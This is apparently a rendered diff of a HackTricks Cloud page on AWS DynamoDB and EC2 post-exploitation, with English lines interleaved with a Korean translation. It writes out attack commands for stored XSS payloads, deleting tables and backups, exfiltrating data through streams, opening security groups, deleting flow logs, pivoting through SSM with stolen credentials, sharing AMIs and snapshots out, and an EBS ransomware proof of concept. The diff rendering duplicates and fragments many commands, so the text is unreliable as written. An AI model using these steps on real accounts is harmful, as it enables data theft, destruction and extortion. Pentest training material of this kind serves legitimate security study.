|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
--table-name <tablename>
|
||||
```
|
||||
|
||||
If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
|
||||
|
||||
만약 활성화되어 있지 않다면, **활성화해야** 하며, 이를 위해서는 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
|
||||
|
||||
이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성**할 수 있습니다 (또는 백업을 생성한 후 다른 테이블에 복원할 수 있습니다). 그런 다음 필요한 권한이 있으면 **생산** 테이블에 더 이상 존재하지 않을 수 있는 **정보**를 백업에서 확인할 수 있습니다.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
|
||||
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
|
||||
이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, **전체 항목이** 새 항목으로 **교체됩니다**. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성됩니다**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
```bash
|
||||
## Create new item with XSS payload
|
||||
aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
### With add.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있음
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
|
||||
이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 전체 항목을 **대체하지** 않으며, 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 **지정된 기본 키로 새로운 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
### With key.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
}
|
||||
### and val.json
|
||||
{
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있음
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB table, causing data loss**.
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다.**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and disruption of services relying on the deleted table.
|
||||
**잠재적 영향**: 삭제된 테이블에 의존하는 서비스의 데이터 손실 및 중단.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 백업을 삭제할 수 있으며, 이는 재해 복구 시나리오에서 데이터 손실을 초래할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.
|
||||
**잠재적 영향**: 데이터 손실 및 재해 복구 시나리오에서 백업으로 복구할 수 없음.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if this actually works
|
||||
> TODO: 이게 실제로 작동하는지 테스트
|
||||
|
||||
An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하기 시작한 다음, 스트림에 접근하여 테이블의 변경 사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 데이터 유출로 이어질 수 있습니다.
|
||||
|
||||
1. DynamoDB 테이블에서 스트림 활성화:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
2. Describe the stream to obtain the ARN and other details:
|
||||
|
||||
2. ARN 및 기타 세부정보를 얻기 위한 스트림 설명:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
3. Get the shard iterator using the stream ARN:
|
||||
|
||||
3. 스트림 ARN을 사용하여 샤드 반복자 가져오기:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
4. Use the shard iterator to access and exfiltrate data from the stream:
|
||||
|
||||
4. 샤드 이터레이터를 사용하여 스트림에서 데이터에 접근하고 유출합니다:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
|
||||
**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 데이터 유출.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,27 +4,26 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **악의적인 VPC 미러 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
|
||||
An attacker could abuse this to capture all the traffic and obtain sensitive information from it:
|
||||
VPC 트래픽 미러링은 **VPC 내의 EC2 인스턴스에 대한 수신 및 발신 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\
|
||||
공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:
|
||||
|
||||
For more information check this page:
|
||||
자세한 정보는 이 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
### 실행 중인 인스턴스 복사
|
||||
|
||||
인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 기법](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -48,211 +47,191 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS 스냅샷 덤프
|
||||
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 이 정보가 드러날 수 있습니다.\
|
||||
**스냅샷이 없는 볼륨**을 발견하면 다음과 같은 작업을 수행할 수 있습니다: **스냅샷 생성** 및 다음 작업 수행 또는 **계정 내 인스턴스에 마운트**하기:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
### 데이터 유출
|
||||
|
||||
#### DNS Exfiltration
|
||||
#### DNS 유출
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수 있습니다.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- **VPC 흐름 로그는 이를 기록하지 않습니다**.
|
||||
- AWS DNS 로그에 접근할 수 없습니다.
|
||||
- 다음과 같이 "enableDnsSupport"를 false로 설정하여 비활성화합니다:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
#### API 호출을 통한 유출
|
||||
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
You could get further access to network services by opening ports like this:
|
||||
### 열린 보안 그룹
|
||||
|
||||
다음과 같이 포트를 열어 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
|
||||
### Privesc to ECS
|
||||
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스의 데이터를 훔치는 것이 가능합니다.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
[**자세한 내용은 여기에서 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### VPC 흐름 로그 제거
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM 포트 포워딩
|
||||
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
필요한 권한:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
|
||||
One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
|
||||
명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹 또는 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다.
|
||||
|
||||
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Install the SessionManagerPlugin on your machine
|
||||
2. Log in to the Bastion EC2 using the following command:
|
||||
> 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. 머신에 SessionManagerPlugin을 설치합니다.
|
||||
2. 다음 명령을 사용하여 Bastion EC2에 로그인합니다:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
|
||||
3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile
|
||||
5. Log in to EKS as the Bastion EC2:
|
||||
|
||||
3. [AWS EC2 환경에서 SSRF 악용하기](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 Bastion EC2 AWS 임시 자격 증명을 가져옵니다.
|
||||
4. 자격 증명을 `$HOME/.aws/credentials` 파일의 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다.
|
||||
5. Bastion EC2로 EKS에 로그인합니다:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
|
||||
6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost`
|
||||
7. Create an SSM tunnel as follows:
|
||||
|
||||
6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost`로 업데이트합니다.
|
||||
7. 다음과 같이 SSM 터널을 생성합니다:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
|
||||
8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running:
|
||||
|
||||
8. 이제 `kubectl` 도구의 트래픽이 Bastion EC2를 통해 SSM 터널로 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
SSL 연결은 `--insecure-skip-tls-verify` 플래그(또는 K8s 감사 도구에서의 동등한 플래그)를 설정하지 않으면 실패합니다. 트래픽이 안전한 AWS SSM 터널을 통해 터널링되므로 MitM 공격으로부터 안전합니다.
|
||||
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
|
||||
마지막으로, 이 기술은 개인 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 사용자 정의 애플리케이션으로 피벗할 수 있습니다.
|
||||
|
||||
### Share AMI
|
||||
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### 공개 및 비공개 AMI에서 민감한 정보 검색
|
||||
|
||||
### Search sensitive information in public and private AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.
|
||||
|
||||
### Share EBS Snapshot
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공식 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색하기 위해 설계된 도구**입니다. 이 도구는 대상 AMI에서 인스턴스를 시작하고, 볼륨을 마운트하며, 잠재적인 비밀이나 민감한 데이터를 스캔하는 과정을 자동화합니다.
|
||||
|
||||
### EBS 스냅샷 공유
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
### EBS Ransomware PoC
|
||||
|
||||
A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it.
|
||||
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지를 고려하여 랜섬웨어 관리 서비스(RMS)로 이름을 변경해야 합니다.
|
||||
|
||||
먼저 '공격자' AWS 계정에서 KMS에 고객 관리 키를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적인 행위자가 AWS의 통제를 벗어난 곳에 키 데이터를 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 주체가 키를 사용할 수 있도록 합니다. 이 키 정책의 경우, 계정 이름은 'AttackSim'이며 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 합니다.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Outside Encryption",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey",
|
||||
"kms:GenerateDataKeyWithoutPlainText",
|
||||
"kms:CreateGrant"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:CreateGrant",
|
||||
"kms:ListGrants",
|
||||
"kms:RevokeGrant"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Outside Encryption",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey",
|
||||
"kms:GenerateDataKeyWithoutPlainText",
|
||||
"kms:CreateGrant"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:CreateGrant",
|
||||
"kms:ListGrants",
|
||||
"kms:RevokeGrant"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용할 수 있도록 다음을 활성화해야 합니다:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
